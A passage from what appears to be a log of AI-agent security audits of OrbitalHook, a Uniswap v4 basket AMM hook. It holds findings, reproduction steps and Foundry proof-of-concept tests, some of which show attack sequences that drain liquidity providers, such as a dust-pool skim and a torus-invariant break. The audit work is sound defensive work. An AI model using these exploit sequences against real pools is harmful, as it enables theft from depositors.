keyAB,\n            SwapParams(z, amount, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false),\n            \"\"\n        );\n    }\n\n    function maxes() internal pure returns (uint256[] memory m) {\n        m = new uint256[](3);\n        m[0] = type(uint256).max;\n        m[1] = type(uint256).max;\n        m[2] = type(uint256).max;\n    }\n\n    function fund(address who) internal {\n        a.mint(who, 1e9 * 1e18);\n        b.mint(who, 1e9 * 1e18);\n        c.mint(who, 1e9 * 1e18);\n        vm.startPrank(who);\n        a.approve(address(hook), type(uint256).max);\n        b.approve(address(hook), type(uint256).max);\n        c.approve(address(hook), type(uint256).max);\n        a.approve(address(router), type(uint256).max);\n        b.approve(address(router), type(uint256).max);\n        c.approve(address(router), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function mine(bytes memory code) internal view returns (bytes32) {\n        bytes32 h = keccak256(code);\n        for (uint256 i = 0; i < 500_000; i++) {\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (HookFlags.matches(p, FLAGS)) return bytes32(i);\n        }\n        revert(\"no salt\");\n    }\n}","reproduction":"Setup: three 18-dec basket tokens, levels kNorms=[0.74e18,1.15e18], fee 400 ppm; LP deposits 1e24 radius at level 0 and 2e24 at level 1. (1) Exact-in swap A->B of 287_443_796_572_854_664_222_089 wei (smallest amount that pins level 0; found by binary search on boundaryMask). State: boundaryMask == 1, alphaIntNorm() == 0.74e18 exactly. (2) LP deposits any radius at level 1 (1e24 used; 1e9 behaves the same). State: boundaryMask == 1, alphaIntNorm() == 0.74e18 - 1. (3) Exact-in swap B->A of 250_000e18. Expected: level 0 unpins at its plane and alphaIntNorm() ends ~0.7321e18 with boundaryMask == 0. Actual: alphaIntNorm() == 732_052_469_882_506_119 (far below 0.74e18) and boundaryMask == 1; the trader receives 291_196_577_874_549_749_487_140 wei of A instead of ~302_257_788_034_580_550_221_671 on the clean path. Variant for step (2): `withdraw(0, any radius)` by the level-0 LP gives the same -1 shift. Proof test: test/scratch/TickDesync.t.sol (fails on current code at 'tight tick must have rejoined the interior: 1 != 0').","severity":"medium","snippet":"        } else if (aAfter < aNow) {\n            // Returning to the peg: boundary ticks rejoin the interior, nearest first.\n            for (uint256 l = 0; l < lv.length; l++) {\n                if (lv[l].radius == 0 || mask & (1 << l) == 0) continue;\n                int256 k = int256(lv[l].kNorm);\n                if (k >= aAfter && k <= aNow && (!found || k > int256(lv[best].kNorm))) {","title":"Tick pin/unpin state desynchronises from the interior position by one rounding unit, so a pinned tick never rejoins the interior and return trades are mispriced"}],"hash":"8c49db7d0a37ae6c378296098ec01ebf6afbe1a9bf4be2c71d3684ed4091f96b","nodeId":"56850df1-1641-47f1-8ca9-b104e51f9b21","outcome":"completed","summary":"The review is complete. The findings file is at `.imd-findings.json`, no source, test or configuration file was changed, and the proof test lives under `test/scratch/`, which the repo ignores.\n\n**Result: one substantiated defect, medium severity, with a failing Foundry proof.**\n\nThe tick pin/unpin state machine desynchronises from the interior position by one rounding unit. The hook decides whether a tick is pinned using two representations: the stored `boundaryMask` and the floor-rounded normalised position compared against `kNorm`. The crossing detector only reconciles them when a trade's start and end positions bracket the plane with one-sided comparators (`k <= aNow` to unpin, `k >= aNow` to pin). Nothing else repairs the mask.\n\nConcrete failing sequence, reproduced in `test/scratch/TickDesync.t.sol`:\n\n1. A swap of the exact pin amount leaves the tight tick pinned with the position reading exactly `kNorm`.\n2. Any interior deposit, or a partial withdrawal from the pinned tick, floors the position to `kNorm - 1` while the mask is untouched.\n3. A return trade of 250k B toward the peg never unpins the tick. The position ends near the equal-price point, far below the plane, with the tick still on its boundary circle.\n\nMeasured consequence in that scenario: the returning trader receives about 291k A instead of about 302k A on the clean path, roughly 3.7% worse execution, with the surplus accruing to interior LPs. The tick's LP is left holding the depeg-skewed reserve vector at the peg. The trigger is unprivileged and cheap: one crafted swap plus a deposit of any size, even the minimum radius. The proof fails on the current code at the final assertion and passes against a patched copy that reconciles mask with position at the start of each trade, which is the fix I recommend.\n\n**What I checked and found sound** in the Math Precision, Boundary and Numerical Gap areas: exact-output crossings agree with exact-input to 1 wei; splitting a trade through the peg gives identical output, so the two-stage crossing logic handles the position dipping and rising within one swap; oversize trades are rejected consistently at the pole; the invariant drifts by sub-wei amounts for 18-decimal coins and by at most 6-decimal dust otherwise; fee rounding loses under 1 wei per swap; the exact-output path can skim at most one raw unit of a 6-decimal coin per prior swap, about 1e-6 USD, which the README already acknowledges; no intermediate overflow is reachable within the radius caps; fee claims cannot be withdrawn as reserves. Two leads I ruled out numerically: a suspected revert-DoS in the sliver just past a plane, and a suspected false rejection of large feasible trades.\n\n**Coverage:** all 35 listed entry points have a row, 34 hold and 4 rows (beforeSwap, deposit, withdraw and the mask invariant) point to the finding. Nothing is marked unreached. The Reactive contracts and the token are outside the math area and were traced only for arithmetic and access gaps, where nothing was found.","treeHash":null,"usage":{"cachedInputTokens":3875571,"inputTokens":706,"model":"claude-fable-5-1","outputTokens":109041,"runtime":"claude","turns":40,"wallClockMs":1552883}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"468e82a89b9bfe18","findings":[{"citation":"resolved","description":"Settlement of finding 461c660d (disputed on disposition only). The observation still reproduces on this tree and the author agrees with it: OrbitalHook's constructor (src/OrbitalHook.sol:183-234) requires a non-zero owner (line 192: `if (_owner == address(0)) revert ZeroAddress();`), 2..8 basket addresses with their decimals and 1..8 kNorms as dynamic arrays (lines 193-196), while the manifest writes argument 1 as the zero address and arguments 3-5 as the scalar \"0\". The LaunchManifest schema has no $owner placeholder and no array items, so no manifest-only edit can fix it, and a literal owner would instantiate an unauthorized owner. Everything else in the manifest matches the code: permissions = getHookPermissions (flags 0x2888), argument 0 is $poolManager, zero-argument token, pass-through ETH/ORB pool the hook does not constrain, notes record the gap under 'BLOCKING GAP' citing both finding ids. The hook source was not changed in this respect this round (the revision touched the pole check, the start-of-trade check and the breaker). I agree with the author's disposition: this is not fixable by the integrate assignment and must be resolved by (a) a hook implement task that makes the constructor take only manifest-expressible values (IPoolManager plus scalars) with basket, decimals and kNorms set once by an owner-only lockable configure call and the owner supplied from policy, or (b) deployer support for array arguments and an $owner placeholder followed by a manifest rewrite. Until one lands the attested creation code with these arguments reverts and the protected Hook floor reports 'hook deployment reverted', so the launch is not deployable. Kept at medium: no funds at risk, launch blocked. No other finding from the previous rounds remains open: see the coverage rows prefixed 'settled:'.","line":7,"path":"launch.json","reproduction":"On this tree (test/scratch/Settle3.t.sol, ManifestSettle3.test_zeroOwnerReverts, passes = the deployment reverts): CREATE2 of type(OrbitalHook).creationCode ++ abi.encode(poolManager, address(0), address(0), new address[](0), new uint8[](0), new uint256[](0), uint24(400)) at a salt mined for flags 0x2888 reverts ZeroAddress(); owner = address(1) with the empty arrays reverts InvalidTokens(). Control in the same test: a 3-coin basket with kNorms 0.74e18/0.95e18/1.15e18 deploys at a 0x2888 address (test/utils/BasketHarness.sol deployBasket). Expected for a deployable launch: a hook at a flag-matching address; actual: constructor revert.","severity":"medium","snippet":"      \"0x0000000000000000000000000000000000000000\",","title":"launch.json constructorArgs still cannot instantiate OrbitalHook: a zero owner reverts ZeroAddress and the three array arguments are written as the scalar \"0\" (fourth-round settlement of 461c660d / 92"}],"hash":"8c6c182ccb7acb98bad7d0f056adcd8b522e59ae9d7c91e55b668927c087751e","nodeId":"0802ac7c-a09f-414b-9d42-6dec031c8311","outcome":"completed","summary":"The findings file is in place and is excluded from git by the repository's own exclude rule, so the tree carries no source change. Review complete.\n\n**Outcome.** One finding remains open, the manifest incompatibility, held at medium. Everything else from the previous rounds and from the four specialists is settled as fixed or dropped.\n\n**My earlier findings**\n- **Pole finding (high), fixed.** The end-of-trade check now tests every coin's interior reserve against the interior radius, and a start-of-trade check refuses swaps and quotes when the point sits inside the torus beyond rounding. The author's new test encodes my exact 4-coin sequence. The pushing sale reverts with nothing committed, the near-pole coin then costs a real price, and healthy coins keep theirs. I also confirmed that deposits and withdrawals preserve each coin's distance to its pole, so only swaps can move it and every swap is checked.\n- **Manifest finding (medium), still open.** The constructor still requires a non-zero owner and three dynamic arrays, and the schema cannot express either. I re-ran the reproduction on this tree: the manifest's arguments revert with ZeroAddress, a non-zero owner with empty arrays reverts InvalidTokens, and a real basket deploys. I agree with the author that the integrate task cannot fix this. It needs a hook implement revision or deployer support before admission.\n- **Retry finding (low), fixed.** A new constructor parameter re-requests the callback every K consecutive out-of-band rounds while tripped. Zero keeps the old one-shot behaviour and the README states the trade-off.\n\n**Specialist findings.** Their reports described the pre-fix code. Three of their four proofs pass on this tree, so those defects are fixed: the frozen-coin lockout, the deploy script's NotOwner under broadcast, and react() rejecting the RVM id. The tick-desync proof fails only on its own precondition because a projected deposit no longer moves the position off the plane. My deposit and withdrawal variants both see the tick rejoin on the return trade. Deposit re-entrancy, last-withdrawal panic, repeated paid callbacks and the immutable feed are all fixed in the code. The fee-share complaint is a design preference, not a defect. The tester's realReserves lead did not reproduce as a payout defect.\n\n**Coverage.** All 32 entry points are answered, 31 hold and one points at the manifest finding. The scratch tests I used were deleted and nothing else in the tree changed.","treeHash":null,"usage":{"cachedInputTokens":2242313,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":30153,"runtime":"claude","turns":26,"wallClockMs":578863}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"72b617d4b615473a","findings":[{"citation":"resolved","description":"_nextCrossing (lines 806-832) decides whether a trade segment crosses a tick plane by comparing alphaIntNorm at the segment's two endpoints only. alpha = S/sqrtN is not monotonic along a trade back toward the peg: it falls until the interior passes its equal-price point (alphaIntNorm = sqrtN-1, below every kNorm) and rises again. With a tick pinned, the tick must unpin when the position passes kNorm on the way down (and re-pin, in the new direction, on the way up). The endpoint test sees aAfter > aNow, searches only for interior ticks to pin (line 811-820), and leaves the mask untouched: the pinned tick is frozen on its circle in the old direction (C-heavy) while the interior comes out of the peg on the other side (B-heavy), with global ||w|| < s_bound. The consolidated torus assumes the boundary circle and the interior share one direction w-hat (_tokenShare line 694 prices pinned reserves as k*r/sqrtN + s*r*w-hat with the GLOBAL w-hat). An ordinary interior deposit (_tokenShare line 700 adds (x - xBound)*radius/r) then scales the interior's negative w-component, flips the global direction, and every pinned tick's accounted reserves jump to the opposite side of its circle with no trade; the invariant F falls to about -2.3% of r_int^2 (inside the surface) and solveOut hands the whole excess to the next trader. Honest activity (one round trip, one deposit) reaches the state; an attacker can perform both steps and take the excess with 1 wei. Loss falls on every LP pro rata. This is distinct from the one-unit mask desync (finding 5): there the comparators miss a stale mask by one unit; here the whole dip of the path is invisible to an endpoint comparison. Fix direction: split each segment where the interior's w vanishes / alphaIntNorm reverses, test boundary ticks against the path minimum, and after each segment require ||w|| >= s_bound (revert otherwise) so the pinned configuration can never be entered from the wrong side. Reported by the tester (write_foundry_tests); reproduced by me.","line":811,"path":"src/OrbitalHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {OrbitalHook} from \"src/OrbitalHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev Minimal ERC-20 with configurable decimals.\ncontract PToken {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function approve(address s, uint256 a) external returns (bool) {\n        allowance[msg.sender][s] = a;\n        return true;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\n/// @title TorusBreak\n/// @notice A trade back toward the peg that passes through the equal-price point is not detected\n/// as a tick crossing by `_nextCrossing` (it compares only the segment's two endpoints), so a\n/// pinned tick stays pinned while the interior comes out on the other side of the peg. The next\n/// interior deposit then flips the shared direction and the pool's state point drops far inside\n/// the torus: a 1-wei trade is quoted hundreds of thousands of tokens of output.\ncontract TorusBreakTest is Test {\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n        | HookFlags.BEFORE_SWAP_RETURN_DELTA;\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant TIGHT = 0;\n    uint256 constant MID = 1;\n    uint256 constant WIDE = 2;\n\n    PoolManager manager;\n    PoolSwapTest router;\n    OrbitalHook hook;\n    PToken a;\n    PToken b;\n    PToken c;\n    PoolKey keyBC;\n    address lp1 = makeAddr(\"lp1\");\n    address lp2 = makeAddr(\"lp2\");\n    address lp3 = makeAddr(\"lp3\");\n    address trader = makeAddr(\"trader\");\n\n    function setUp() public {\n        manager = new PoolManager(address(this));\n        router = new PoolSwapTest(manager);\n        a = new PToken(18);\n        b = new PToken(18);\n        c = new PToken(6);\n        address[] memory basket = new address[](3);\n        basket[0] = address(a);\n        basket[1] = address(b);\n        basket[2] = address(c);\n        uint8[] memory decs = new uint8[](3);\n        decs[0] = 18;\n        decs[1] = 18;\n        decs[2] = 6;\n        uint256[] memory ks = new uint256[](3);\n        ks[0] = 0.74e18;\n        ks[1] = 0.95e18;\n        ks[2] = 1.15e18;\n        bytes memory code = abi.encodePacked(\n            type(OrbitalHook).creationCode,\n            abi.encode(IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400))\n        );\n        bytes32 salt = mine(code);\n        hook = new OrbitalHook{salt: salt}(\n            IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400)\n        );\n        keyBC = key(address(b), address(c));\n        manager.initialize(keyBC, SQRT_PRICE_1_1);\n        fund(lp1);\n        fund(lp2);\n        fund(lp3);\n        fund(trader);\n    }\n\n    function test_returnTradeThroughPegMustNotBreakTheTorus() public {\n        vm.prank(lp1);\n        hook.deposit(WIDE, 1e24, maxes());\n        vm.prank(lp2);\n        hook.deposit(TIGHT, 3e24, maxes());\n\n        // 1. Sell 500,000 C for B: the tight tick pins (C-heavy).\n        uint256 b0 = b.balanceOf(trader);\n        swap(keyBC, address(c), -int256(500_000e6));\n        uint256 gotB = b.balanceOf(trader) - b0;\n        assertEq(hook.boundaryMask(), 1 << TIGHT, \"tight tick pinned\");\n\n        // 2. Sell all that B back for C: the interior passes through the peg and comes out\n        //    B-heavy, but the tick is never unpinned / re-pinned.\n        swap(keyBC, address(b), -int256(gotB));\n        int256 fBefore = hook.invariant();\n\n        // 3. An ordinary interior deposit.\n        vm.prank(lp3);\n        hook.deposit(MID, 3e24, maxes());\n\n        int256 f = hook.invariant();\n        (uint256 r,,) = hook.consolidated();\n        emit log_named_int(\"invariant after return trade\", fBefore);\n        emit log_named_int(\"invariant after deposit\", f);\n        emit log_named_uint(\"r_int\", r);\n\n        // Price of 1 wei of A in B must be at most ~1 wei; on this code it is ~267,000 B.\n        uint256 q = hook.quoteExactInput(address(a), address(b), 1);\n        emit log_named_uint(\"B quoted for 1 wei of A\", q);\n        assertLe(q, 1e12, \"1 wei of input is quoted a huge output: pool state is inside the torus\");\n    }\n\n    // ---- helpers ----------------------------------------------------------------------------\n\n    function key(address x, address y) internal view returns (PoolKey memory) {\n        (address c0, address c1) = x < y ? (x, y) : (y, x);\n        return PoolKey(Currency.wrap(c0), Currency.wrap(c1), 0, 60, IHooks(address(hook)));\n    }\n\n    function swap(PoolKey memory k, address tokenIn, int256 amount) internal {\n        bool z = Currency.unwrap(k.currency0) == tokenIn;\n        vm.prank(trader);\n        router.swap(\n            k,\n            SwapParams(z, amount, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false),\n            \"\"\n        );\n    }\n\n    function maxes() internal pure returns (uint256[] memory m) {\n        m = new uint256[](3);\n        m[0] = type(uint256).max;\n        m[1] = type(uint256).max;\n        m[2] = type(uint256).max;\n    }\n\n    function fund(address who) internal {\n        a.mint(who, 1e9 * 1e18);\n        b.mint(who, 1e9 * 1e18);\n        c.mint(who, 1e9 * 1e6);\n        vm.startPrank(who);\n        a.approve(address(hook), type(uint256).max);\n        b.approve(address(hook), type(uint256).max);\n        c.approve(address(hook), type(uint256).max);\n        a.approve(address(router), type(uint256).max);\n        b.approve(address(router), type(uint256).max);\n        c.approve(address(router), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function mine(bytes memory code) internal view returns (bytes32) {\n        bytes32 h = keccak256(code);\n        for (uint256 i = 0; i < 500_000; i++) {\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (HookFlags.matches(p, FLAGS)) return bytes32(i);\n        }\n        revert(\"no salt\");\n    }\n}","reproduction":"test/scratch/TorusBreak.t.sol (attached as proof). Basket {A 18 dec, B 18 dec, C 6 dec}, ticks kNorm {0.74e18, 0.95e18, 1.15e18}, fee 400 ppm, v4 pool B/C. lp1 deposit(WIDE=2, 1e24); lp2 deposit(TIGHT=0, 3e24). trader: exact-in 500,000e6 C -> B (boundaryMask becomes 1: TIGHT pinned). trader: exact-in all B received -> C (no LevelCrossed; mask stays 1; invariant() = -9.56e35 ~ 0 relative to r^2). lp3: deposit(MID=1, 3e24). Expected: invariant() ~ 0 and quoteExactInput(A, B, 1 wei) <= 1 wei. Actual: invariant() = -1.151e48 with r_int = 4e24 (r^2 = 1.6e49), quoteExactInput(A, B, 1) = 267,445,618,316,636,312,994,140 wei (~267,445 B for 1 wei of A). The proof fails on this tree with '267445618316636312994140 > 1000000000000'.","severity":"critical","snippet":"        if (aAfter > aNow) {","title":"A return trade through the peg is not split at its turning point, so a pinned tick stays pinned on the wrong side; the next interior deposit drops the pool inside the torus and 1 wei buys ~267,000 tok"},{"citation":"resolved","description":"_levelVector/_tokenShare price an interior deposit as (x_k - xBound_k) * radius / r_int, proportional to the current virtual vector _x with no projection onto the sphere. _x is allowed to sit inside the surface: an exact-in swap whose output rounds to zero raw units keeps the entire input (x[j] += wadOut - rawOut*scale at line 311 returns the whole wadOut, x[i] already grew by dIn), so the point moves inside (invariant() < 0) and nothing leaves. MIN_RADIUS is 1e9 WAD (line 41, 1e-9 tokens), so a first depositor can open a pool whose reserves are ~2.9e8 wei per coin. Against that pool any input into the 6-decimal coin below 1e12 WAD is a pure donation that skews _x by tens of percent. A later honest deposit of radius R copies the skew scaled by R/r (1e15 here), paying the excess in real tokens; the next trade (one raw unit of USDC) is solved by solveOut down to the surface and takes the whole excess. Attacker cost: 1 raw unit of C plus ~3.4e8 wei of A. The same state is inherited after every full exit (_x keeps residual dust across totalRadius == 0, line 651-660, and the next first deposit adds to it). Related second trigger, stated by the tester and traced by me but not re-run: withdraw has no residual floor (lines 380-384), so a sole LP can leave totalRadius = 3 wei; alphaIntNorm is then integer noise and the next deposit into an empty tick derives its boundary status from it (line 669), opening a pinned tick against a 3-wei interior and pricing interior deposits from wei-level x - xBound scaled by radius/3. Fix direction: price deposits from the point projected onto the torus (or refuse deposits while |F| exceeds a tight relative band), clear _x when totalRadius reaches zero, raise MIN_RADIUS to a real amount and apply it as a residual floor on withdraw. Reported by the tester; reproduced by me.","line":700,"path":"src/OrbitalHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {OrbitalHook} from \"src/OrbitalHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev Minimal ERC-20 with configurable decimals.\ncontract DToken {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 a) external {\n        balanceOf[to] += a;\n    }\n\n    function approve(address s, uint256 a) external returns (bool) {\n        allowance[msg.sender][s] = a;\n        return true;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\n/// @title DustSkim\n/// @notice Deposits are priced proportionally to the raw virtual vector `_x`, which an exact-in\n/// swap whose output rounds to zero raw units pushes inside the sphere (the input is kept, nothing\n/// leaves). In a pool opened at MIN_RADIUS (reserves of a few hundred million wei) a ~5e7 wei\n/// donation skews `_x` by ~17%; the next honest deposit of 1e24 radius inherits that skew scaled\n/// by 1e15 and the attacker takes it out with a single raw unit of the 6-decimal coin.\ncontract DustSkimTest is Test {\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n        | HookFlags.BEFORE_SWAP_RETURN_DELTA;\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n\n    PoolManager manager;\n    PoolSwapTest router;\n    OrbitalHook hook;\n    DToken a; // 18 decimals\n    DToken c; // 6 decimals\n    PoolKey keyAC;\n    address attacker = makeAddr(\"attacker\");\n    address victim = makeAddr(\"victim\");\n\n    function setUp() public {\n        manager = new PoolManager(address(this));\n        router = new PoolSwapTest(manager);\n        a = new DToken(18);\n        c = new DToken(6);\n        address[] memory basket = new address[](2);\n        basket[0] = address(a);\n        basket[1] = address(c);\n        uint8[] memory decs = new uint8[](2);\n        decs[0] = 18;\n        decs[1] = 6;\n        uint256[] memory ks = new uint256[](1);\n        ks[0] = 0.7e18; // ~full range for N = 2 (kMax = 0.7071e18)\n        bytes memory code = abi.encodePacked(\n            type(OrbitalHook).creationCode,\n            abi.encode(IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400))\n        );\n        bytes32 salt = mine(code);\n        hook = new OrbitalHook{salt: salt}(\n            IPoolManager(address(manager)), address(this), address(0), basket, decs, ks, uint24(400)\n        );\n        (address c0, address c1) = address(a) < address(c) ? (address(a), address(c)) : (address(c), address(a));\n        keyAC = PoolKey(Currency.wrap(c0), Currency.wrap(c1), 0, 60, IHooks(address(hook)));\n        manager.initialize(keyAC, SQRT_PRICE_1_1);\n        fund(attacker);\n        fund(victim);\n    }\n\n    function test_dustPoolMustNotSkimLaterDepositors() public {\n        // 1. Attacker opens the pool with the smallest allowed radius.\n        uint256 minRadius = hook.MIN_RADIUS();\n        vm.prank(attacker);\n        uint256[] memory paid = hook.deposit(0, minRadius, maxes());\n        emit log_named_uint(\"attacker paid A (wei)\", paid[0]);\n        emit log_named_uint(\"attacker paid C (raw)\", paid[1]);\n\n        // 2. Donation: exact-in 5e7 wei of A whose C output rounds to 0 raw units, so `_x` keeps\n        //    the whole input and the point moves inside the sphere.\n        uint256 c0 = c.balanceOf(attacker);\n        if (!trySwap(attacker, address(a), -int256(5e7))) {\n            emit log_string(\"zero-output swap refused: no donation possible\");\n            return;\n        }\n        assertEq(c.balanceOf(attacker), c0, \"donation produced no output\");\n        emit log_named_int(\"invariant after donation\", hook.invariant());\n\n        // 3. Honest LP deposits exactly what previewDeposit asks for.\n        uint256[] memory want = hook.previewDeposit(0, 1e24);\n        vm.prank(victim);\n        (bool ok, bytes memory ret) = address(hook).call(abi.encodeCall(hook.deposit, (0, 1e24, want)));\n        if (!ok) {\n            emit log_string(\"deposit refused on a skewed pool: nothing to skim\");\n            return;\n        }\n        uint256[] memory vpaid = abi.decode(ret, (uint256[]));\n        emit log_named_uint(\"victim paid A (wei)\", vpaid[0]);\n\n        // 4. Attacker sells ONE raw unit of C for A. At par that is worth 1e12 wei of A.\n        uint256 a0 = a.balanceOf(attacker);\n        swap(attacker, address(c), -int256(1));\n        uint256 got = a.balanceOf(attacker) - a0;\n        emit log_named_uint(\"A received for 1 raw unit of C (wei)\", got);\n        assertLe(got, 2e12, \"one raw unit of C bought far more than par: later depositor skimmed\");\n    }\n\n    // ---- helpers ----------------------------------------------------------------------------\n\n    function swap(address who, address tokenIn, int256 amount) internal {\n        bool z = Currency.unwrap(keyAC.currency0) == tokenIn;\n        vm.prank(who);\n        router.swap(\n            keyAC,\n            SwapParams(z, amount, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),\n            PoolSwapTest.TestSettings(false, false),\n            \"\"\n        );\n    }\n\n    function trySwap(address who, address tokenIn, int256 amount) internal returns (bool ok) {\n        bool z = Currency.unwrap(keyAC.currency0) == tokenIn;\n        vm.prank(who);\n        (ok,) = address(router).call(\n            abi.encodeCall(\n                router.swap,\n                (\n                    keyAC,\n                    SwapParams(z, amount, z ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),\n                    PoolSwapTest.TestSettings(false, false),\n                    \"\"\n                )\n            )\n        );\n    }\n\n    function maxes() internal pure returns (uint256[] memory m) {\n        m = new uint256[](2);\n        m[0] = type(uint256).max;\n        m[1] = type(uint256).max;\n    }\n\n    function fund(address who) internal {\n        a.mint(who, 1e9 * 1e18);\n        c.mint(who, 1e9 * 1e6);\n        vm.startPrank(who);\n        a.approve(address(hook), type(uint256).max);\n        c.approve(address(hook), type(uint256).max);\n        a.approve(address(router), type(uint256).max);\n        c.approve(address(router), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function mine(bytes memory code) internal view returns (bytes32) {\n        bytes32 h = keccak256(code);\n        for (uint256 i = 0; i < 500_000; i++) {\n            address p = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (HookFlags.matches(p, FLAGS)) return bytes32(i);\n        }\n        revert(\"no salt\");\n    }\n}","reproduction":"test/scratch/DustSkim.t.sol (attached as proof). Basket {A 18 dec, C 6 dec}, one tick kNorm 0.7e18 (kMax for N=2 is 0.7071e18), fee 400 ppm. (1) attacker deposit(0, MIN_RADIUS = 1e9): pays 292,842,197 wei A and 1 raw C. (2) attacker exact-in swap 5e7 wei A -> C: output 0 raw units, attacker's C balance unchanged, invariant() < 0. (3) victim: previewDeposit(0, 1e24) then deposit with exactly those amounts: pays 342,822,196,263,664,497,000,000 wei A (correct amount on the sphere is ~2.93e23: ~17% too much). (4) attacker exact-in 1 raw unit of C -> A. Expected: <= ~2e12 wei of A (one unit at par). Actual: 49,979,998,374,094,699,314,022 wei (~49,980 A). The proof fails on this tree with '49979998374094699314022 > 2000000000000'. The victim's subsequent withdraw(0, 1e24) returns that much less A than deposited.","severity":"high","snippet":"            return uint256(val) * radius / c.r;","title":"Deposits are priced off the raw virtual vector, which a zero-output swap can push inside the sphere; in a MIN_RADIUS-sized pool a ~5e7 wei donation lets the attacker take ~50,000 tokens from the next "},{"citation":"resolved","description":"react() only proceeds when msg.sender is 0x0000000000000000000000000000000000fffFfF. Inside a ReactVM that address has no code (line 70 relies on exactly that to set isReactVm) and it is not the sender of react() transactions. I verified on the live Reactive Lasna RPC (https://lasna-rpc.rnk.dev/, rnk_getTransactionByNumber for RVM 0xa7d9aa89cbcd216900a04cdc13eb5789d643176a, tx 0xdbd4): the react(LogRecord) transaction (selector 0x0d152c2c, refChainId 11155111, hash 0xcd26b9578bf6fde2d3305dce2887d62ff5b13aab13e6b41bbe7f8eced200f25e) has from = 0xa7d9aa89cbcd216900a04cdc13eb5789d643176a (the RVM id, an EOA) and to = the reactive contract 0xe74c8c9823404a5039fd682c8b9335b096f514fd. reactive-lib's AbstractReactive (fetched from github.com/Reactive-Network/reactive-lib, main) accordingly guards react with vmOnly (require(vm)) and has no system-contract sender check; the sysConOnly/authorizedSender check is for pay(). On this code every AnswerUpdated delivery reverts NotSystemContract(), no Callback is emitted, OrbitalDepegCallback.depeg never runs and OrbitalHook.guardianPause() never runs: the keeper-free breaker, the core deliverable, is dead while the operator pays REACT for the failing reactive transactions. The repository's test/Reactive.t.sol pranks SERVICE (line 77) and the README's Assumptions section states this was not exercised against a live node. Fix: in react() require isReactVm and accept the ReactVM's actual sender (msg.sender == owner, the RVM id; or drop the sender check as reactive-lib does, keeping the vm check), keep the SERVICE check only for pay(); update the test to prank the deployer EOA. Reported by audit_flow; premise verified by me against the live network and reactive-lib; the attached specialist proof fails on this tree for the stated reason.","line":90,"path":"src/reactive/OrbitalDepegReactive.sol","proof":"// SPDX-License-Identifier: 